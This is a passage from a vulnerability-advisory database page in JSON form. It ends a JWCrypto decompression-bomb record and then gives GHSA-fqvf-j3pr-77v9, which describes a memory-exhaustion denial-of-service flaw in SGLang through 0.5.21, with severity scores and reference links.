"url": "https://github.com/latchset/jwcrypto/commit/25db861d8b29434838669a94a843af03d29ea6ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/latchset/jwcrypto"
},
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/releases/tag/v1.5.7"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2026-70.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "JWCrypto: JWE ZIP decompression bomb"
}
GHSA-FQVF-J3PR-77V9
Vulnerability from github – Published: 2026-10-12 15:32 – Updated: 2026-10-12 15:32SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.
{
"affected": [],
"aliases": [
"CVE-2026-109229"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T14:17:12Z",
"severity": "HIGH"
},
"details": "SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.",
"id": "GHSA-fqvf-j3pr-77v9",
"modified": "2026-10-12T15:32:19Z",
"published": "2026-10-12T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109229"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/issues/43707"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/multimodal/processors/nano_nemotron_vl.py#L82"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/utils/common.py#L1952-L1961"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sglang-through-0.5.21-decompression-bomb-dos-via-nanonemotronvlimageprocessor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.